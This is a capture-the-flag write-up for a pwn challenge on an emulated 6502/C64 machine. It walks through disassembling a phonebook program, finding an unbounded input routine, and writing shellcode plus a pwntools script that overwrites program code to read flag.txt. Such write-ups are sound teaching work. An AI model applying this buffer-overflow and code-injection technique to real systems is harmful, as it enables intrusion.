Seahorse Hide 'n' Seek

by Davidpb / Davidpb

Tags: pwn 6502 c64

Rating:

1337UP LIVE CTF 2023

Seahorse Hide'n'Seek

> I had to remove my new debugging functionality due to recent events. The good news is, our kernal is back! ??
> Hint: the flag is in flag.txt
> Author: DavidP, 0xM4hm0ud
> `seahorse.zip`

Tags: *pwn*

Solution

For this challenge we again have the `6502 vm` and a program. It's the code for a simple `phonebook manager application`. The user can insert contacts and print the list of recorded contacts.

```
=== Telephone Manager 1982 ===
1. add entry
2. list entries
3. exit
1
enter first name: Hello
enter last name: World
enter phone: 999999
new record added

1. add entry
2. list entries
3. exit
1
enter first name: Foo
enter last name: Bar
enter phone: 1337
new record added

1. add entry
2. list entries
3. exit
2
Hello World 999999
Foo Bar 1337
```

```
1. add entry
2. list entries
3. exit
```

The structure is the same as in the previous challenges. Some data is defined at the top, the code starts at offset `800`. We can disassemble the program with our previously written disassembler or using online tools like `this`. The disassembly is quite big, but we can split functionality roughly by following `RTS` mnemonics. First off, there are a few utility functions:

```
; subroutine that prints a string to screen
; Name 'print'
0320 STX fb
0322 STY fc
0324 LDY ff
0326 INY
0327 LDA (fb), y
0329 JSR ffd2
032c BNE f8
032e RTS

; subroutine that multiplies two 8 bit values  by
; using shift and add algorithmus
; Name 'mul8'
032f some var
0330 some var
0331 some var
0332 STX c32f
0335 STX c330
0338 LDA 0
033a LDX 8
033c LSR c330
033f BCC 4
0341 CLC
0342 ADC c32f
0345 ROR A
0346 ROR c331
0349 DEX
034a BNE f0
034c TAY
034d LDA c331
0350 TAX
0351 RTS

; subroutine that adds a 8 bit value to a 16 bit value
; Name 'add16'
0352 some var
0353 some var
0354 some var
0355 STX c353
0358 STX c354
035b STA c352
035e CLC
035f LDA c353
0362 ADC c352
0365 TAX
0366 BCC 6
0368 LDA c354
036b ADC 0
036d TAY
036e RTS
```

Afterwards comes the main menu subroutine. Here the menu options are printed and the user input is read. Depending on the user input the associated subroutines are called.

```
; Name 'main_menu'
036f some var
0370 LDX 68             ; LDX/LDY hold hi and lo byte of menu string
0372 LDY c2
0374 JSR c320           ; jump to 'print'
0377 JSR ffcf           ; read input via CHRIN (ffcf) kernal routine from keyboard
037a CMP d
037c BEQ a
037e CMP a
0380 BEQ 6              ; check if user pressed return
0382 STA c36f           ; if not, save current key
0385 JMP c377           ; and jump back to menu read input start
0388 LDA c36f
038b CMP 31             ; compare last pressed key (before return key)
038d BEQ 12             ; and jump forward depending if user pressed
038f CMP 32             ; 1, 2 or 3
0391 BEQ 14
0393 CMP 33
0395 BEQ 16
0397 LDX d4             ; if user input was not valid print a invalid
0399 LDY c2             ; input message 'invalid input...' and jump back to main menu start
039b JSR c320
039e JMP c370
03a1 JSR c3b0           ; jump to add_entry subroutine
03a4 JMP c370
03a7 JSR c428           ; jump to list_all subroutine
03aa JMP c370
03ad RTS
```

Next up comes a subroutine that is jumped to when the user presses '1' in the main menu, so here is adding new records handled. There is a large amount of repetitive code that prints a input prompt and then reads user input.

```
; Name 'add_entry'
03ae some var
03af some var
03b0 LDA c003           ; c003 stores number of entries
03b3 CMP a              ; compare with max entries (10)
03b5 BMI 8              ; if less than max entries jump forward
03b7 LDX e7             ; otherwise print error message 'your phonebook is full
03b9 LDY c2
03bb JSR c320
03be RTS

03bf LDX c003           ; load number of entries
03c2 LDY 3a             ; load entry size
03c4 JSR c332           ; call mul8
03c7 STX c3ae           ; store result of num_entries * ENTRY_SIZE
03ca STX c3af

03cd LDA 4              ; add offset to address where the phonebook records
03cf ADC c3ae           ; should be stored. all in all we calculate
03d2 STA c3ae           ; record_ptr = &buffer[num_entries * ENTRY_SIZE]
03d5 LDA c0
03d7 ADC c3af
03da STA c3af

03dd LDX 8e             ; print message 'enter first name: '
03df LDY c2
```

```
03e1 JSR c320
03e4 LDX c3ae           ; fetch pointer to current record
03e7 LDY c3af
03ea LDA 0
03ec JSR c355           ; add field offset (first field = offset 0)
03ef JSR c49b           ; jump to 'user_input' subroutine

03f2 LDX a1             ; as above but for field 'last name', the field
03f4 LDY c2             ; offset is '19' here so we write to
03f6 JSR c320           ; ptr_last_name = &record_ptr[0x19]
03f9 LDX c3ae
03fc LDY c3af
03ff LDA 19
0401 JSR c355
0404 JSR

0407 LDX b3             ; as above but for field 'phone number', the field
0409 LDY c2             ; offset is '32' here so we write to
040b JSR c320           ; ptr_phone_number = &record_ptr[0x32]
040e LDX c3ae
0411 LDY c3af
0414 LDA 32
0416 JSR c355
0419 JSR c49b

041c INC c003           ; increment number of entries

041f LDX c1             ; print message 'new record added'
0421 LDY c2
0423 JSR c320
0426 RTS
```

The next subroutine is jumped to when the user presses '2' for listing the phonebook records.

```
; Name 'list_all'
0427 some var
0428 LDA 4              ; fetch start of phonebook records buffer
042a STA c3ae
042d LDA c0
042f STA c3af

0432 LDA c003           ; check if num entries is larger than 0, otherwise
0435 CMP 0
0437 BEQ 5a             ; jump to error handler

0439 STA c427           ; store num entries as counter

043c LDX c3ae           ; load buffer address
043f LDY c3af
0442 LDA 0              ; add offset 0 to address: &buffer[0]
0444 JSR c355
0447 JSR c320           ; print value stored in field 'first name'
044a LDA 20             ; print space
044c JSR ffd2

044f LDX c3ae           ; load buffer address
0452 LDY c3af
0455 LDA 19             ; add offset 19 to address: &buffer[0x19]
0457 JSR c355
045a JSR c320           ; print value stored in field 'last name'
045d LDA 20             ; print space
045f JSR ffd2
```

```
0462 LDX c3ae           ; load buffer address
0465 LDY c3af
0468 LDA 32             ; add offset 32 to address: &buffer[0x32]
046a JSR c355
046d JSR c320           ; print value stored in field 'phone number'
0470 LDA a              ; print space
0472 JSR ffd2

0475 LDX c3ae           ; move buffer base pointer to start of next record
0478 LDY c3af
047b LDA 3a
047d JSR c355
0480 STX c3ae
0483 STX c3af

0486 DEC c427           ; decrement counter and
0489 BNE b1             ; jump back if not reached 0

048b LDA a
048d JSR ffd2           ; print additional new line and jump out of method
0490 JMP c49a

0493 LDX 0              ; error handler, print 'your phonebook has no records'
0495 LDY c3
0497 JSR c320

049a RTS
```

The last subroutine is used to read user input.

```
; Name 'user_input'
049b STX fb
049d STY fc
049f LDY 0
04a1 JSR ffcf           ; read next character

04a4 CMP d
04a6 BEQ 10
04a8 CMP a
04aa BEQ c              ; check if user pressed 'return'

04ac STA (fb), y        ; store character to address stored in $fb:$fc + value in register Y
04ae INY                ; inc Y to move to next character
04af BNE f0             ; of Y is zero the 8 bit range wrapped around
04b1 INC fc             ; and we need to increment the high byte of the address
04b3 LDY 0
04b5 JMP c4a1
04b8 RTS
```

The last part can be considered the 'main' function. it only prints a `header` and jumps to subroutine `main_menu`.

```
04b9 LDX 3
04bb JSR ffc9
04be LDX 48
04c0 LDY c2
04c2 JSR c320
04c5 JSR c370           ; jum to main_menu
04c8 RTS
```

With all this we know what the program is doing. Inspecting a bit closer we can find a vulnerability in `user_input`. The subroutine reads until either a `new line` or `carriage return` character was read. This will happily accept any number of characters and write the characters to memory, eventually overflowing the buffer. But how can we use this?

We can see that the `buffer` is located near the base address and before the code starts. This gives us the oportunity to override the program code and replace it with our own shellcode.

Since we know the flag is located in a file we have to read the contents. Commodore 64 provided some `kernal routines` for file IO: `SETLFS`, `SETNAM`, `LOAD`. Thankfully the vm supports these routines, so we can write a small program that reads `flag.txt` and prints the content to screen. To assemble the code we can use for instance `this online assembler`.

```
; kernal subroutines
SETLFS      = $FFBA
SETNAM      = $FFBD
LOAD        = $FFD5
CHROUT      = $FFD2

; store address to string for print subroutine
STRLO       = $FB
STRHI       = $FC

NAMELEN     = 9

* = $c036

            jmp     start

filename    .ASCII "flag.txt"
            .BYTE 0
buffer      .REPEAT 42 .BYTE 0

* = $c099
start       lda     #NAMELEN
            ldx     #<filename
            ldy     #>filename
            jsr     SETNAM

            lda     #01
            ldx     $ba
            bne     skip
            ldx     #$08
skip        ldy     #00
            jsr     SETLFS

            ldx     #<buffer
            ldy     #>buffer
            lda     #00
            jsr     LOAD
            bcs     exit

            lda     #<buffer
            sta     STRLO
            lda     #>buffer
            sta     STRHI
            ldy     #$ff
l0          iny
            lda     (STRLO),Y
            jsr     CHROUT
            bne     l0
```

```
exit        rts
```

One minor thing to note is that the program is not loaded to the default base address `0xc000` but to `0xc036` since we enter the program as `phone number` when creating a new contact and the offset of the phone number of the first entry is located at this address (`3 byte for jump to program start + 25 bytes for first name + 25 bytes for last name`). Next we need to find a place where we can redirect the program flow.

If we assemble this and pass it to the program nothing exciting is happening. This is since we overflow our record but we don't overflow the buffer containing all records. To check if our idea is working we can just add a lot of random bytes and see when the program is crashing. Since it's crashing at a certain point we know we ideed can override the loaded program bytecodes. Now we only need to see how we can redirect the program flow to our shellcode. If we check out the code that reads the phone number we see the following:

```
0407 LDX b3
0409 LDY c2
040b JSR c320
040e LDX c3ae
0411 LDY c3af
0414 LDA 32
0416 JSR c355
0419 JSR c49b           ; jump to 'user_input' where our code is read
                        ; after all input is send the program returns from the
                        ; subroutine and picks up flow at address $c41c

041c INC c003           ; increment number of entries
```

We could redirect the program flow by overriding `INC c003` with a jump to our shellcode (`JMP c036`). We can see in our disassembly that the opcode is located at offset `c41c` so we padd our shellcode with a lot of `NOP` until reaching the `INC` and then emitting our instruction to jump back to our shellcode start.

Putting it to work we can write a small python script that automates the progress:

```
from pwn import *

shellcode = [0x4C, 0x6C, 0xC0, 0x66, 0x6C, 0x61, 0x67, 0x2E, 0x74, 0x78, 0x74, 0x00,
             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA9, 0x09, 0xA2, 0x39, 0xA0, 0xC0,
             0x20, 0xBD, 0xFF, 0xA9, 0x01, 0xA6, 0xBA, 0xD0, 0x02, 0xA2, 0x08, 0xA0,
             0x00, 0x20, 0xBA, 0xFF, 0xA2, 0x42, 0xA0, 0xC0, 0xA9, 0x00, 0x20, 0xD5,
             0xFF, 0xB0, 0x12, 0xA9, 0x42, 0x85, 0xFB, 0xA9, 0xC0, 0x85, 0xFC, 0xA0,
             0xFF, 0xC8, 0xB1, 0xFB, 0x20, 0xD2, 0xFF, 0xD0, 0xF8, 0x60]

payload = bytes(shellcode)
payload += (0x41c-0xa0) * b"\xea"   # padd to reach 'INC c003' instruction
payload += b"\x4c\x36\xc0"          # overriding it with 'JMP c036'

p = process(["runtime", "program.prg"])

p.sendlineafter(b"3. exit\n", b"1")
p.sendlineafter(b"enter first name: ", b"")
p.sendlineafter(b"enter last name: ", b"")
p.sendlineafter(b"enter phone: ", payload)
print(p.readall())
```

Running this, will give us the flag.

```
$ python solve.py
[+] Opening connection to localhost on port 54321: Done
```

```
[+] Receiving all data: Done (85B)
[*] Closed connection to localhost port 54321
b'\x00INTIGRITI{1nj3c71n6_5h3llc0d3_1n_7h3_805}\x00INTIGRITI{1nj3c71n6_5h3llc0d3_1n_7h3_805}\x00'
```

Flag `INTIGRITI{1nj3c71n6_5h3llc0d3_1n_7h3_805}`

Original writeup (https://github.com/D13David/ctf-writeups/blob/main/1337uplive/pwn/seahorse_hide_n_seek/README.md).

Comments